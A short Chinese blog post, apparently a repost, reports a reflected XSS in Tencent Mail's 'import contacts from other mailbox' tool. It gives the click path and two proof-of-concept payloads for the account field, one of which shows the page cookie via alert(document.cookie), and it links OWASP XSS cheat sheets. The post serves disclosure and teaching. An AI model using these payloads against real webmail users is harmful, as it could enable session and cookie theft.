腾讯邮箱反射型xss

点击 “通讯录”---->“工具” ---- >导入其他邮箱联系人

在邮箱账号处添加我们的测试代码：

1.

<IMG SRC=# onmouseover="alert(‘F1n4lly‘)">

2.

<a onmouseover=alert(document.cookie)>xxs link</a>

更多有关xss的资料请访问如下链接：

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet

https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet

原文：http://my.oschina.net/u/2252603/blog/335197